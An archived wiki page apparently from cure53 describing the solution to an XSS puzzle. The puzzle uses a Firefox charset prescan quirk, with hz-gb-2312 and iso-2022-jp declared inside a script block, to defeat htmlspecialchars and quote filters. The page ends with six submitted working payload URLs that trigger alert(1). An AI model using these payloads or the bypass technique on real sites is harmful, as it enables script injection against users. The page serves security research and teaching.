Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

Puzzle 3 on kcal.pw

cure53 edited this page Oct 5, 2014 · 2 revisions

Intro

As a sequel, the fun of encoding didn't just stop there. This time @mramydnei discovered a trick that is documented in the HTML specification but only implemented in Firefox, which may be useful in real world scenario.

Setup

There are two injection points with different filters applied. At first glance they look unrelated, but they will unleash their true power only when they are connected.

  • Lack of charset declaration

Maybe there is a chance to manipulate specific charset? Duh!

  • ASCII art

That's a part of the puzzle? Hell yeah. This is because there's a length limitation of the trick. We will talk about it later

  • Injection point in attribute value

This is sealed with htmlspecialchars, and there's no known way to evade it alone

  • Injection point in script block

Single-quotes(') and solidi(/) are filtered. The former is to prevent escaping from string literal, and the latter is to prevent escaping from script context(i.e. </script)

Solution

The main trick to the puzzle is that user agents can optionally prescan the first 1024 bytes of the response body when determining the character encoding, as specification states. The algorithm simply looks for usual charset declaration token(e.g. <meta charset=), but ignores element context(e.g. raw text elements). Therefore, we can declare charset in the script block. Notice that only Firefox implements the algorithm.

So, we can control the character encoding, but what's next? Well, remember the charset quirks brought to you by @kinugawamasato? Check this out. The idea is basically that given two injection points, pre-string and post-string, we can destroy everything between two points. Now, the solution should be very clear:

  1. Declare a quirky charset in the script block

  2. Inject pre-string into the first injection point

  3. Inject post-string and the attack vector into the second injection point, as the filter is relatively loose

However, the two injection points are actually controlled by one input. Therefore, you should be careful when crafting the payload. Also, because of the 1024-byte limitation on the prescan algorithm (the ASCII art plays a role here), you should choose which charset to use and shorten it wisely.

Submission

@kinugawamasato http://kcal.pw/puzzle3.php?keyword=%20~}%22%3Cmeta%20charset=hz-gb-2312%3E%3Csvg%20onload%3Dalert%281%29%3E~{

@SecurityMB http://kcal.pw/puzzle3.php?keyword=%3Cmeta%20charset=iso-2022-jp%3E%1B(J+onfocus=alert(1)%20autofocus%3E%1B$(D%1B(

@rafaybaloch http://kcal.pw/puzzle3.php?keyword=%3Cmeta+charset%3Dhz-gb-2312%3E%27~%7B%27%3C~%7D%22%20onmouseover=alert%281%29%20a=

@shafigullin http://kcal.pw/puzzle3.php?keyword=%3Cmeta%20charset=iso-2022-jp%3E%1B(B%1B%3E%3Csvg onload=alert(1)%3E%1B$B%1B

@nolze http://kcal.pw/puzzle3.php?keyword=%3Cmeta%20charset=hz-gb-2312%3E~{!~}%22%20onfocus=alert%281%29%20autofocus%3E

Late submittion

@mr6ray http://kcal.pw/puzzle3.php?keyword=%1B%28J%3Cmeta%20charset%3Diso-2022-jp%3E%3Cbody%20onload=alert%281%29%3E%1B%24%40%1B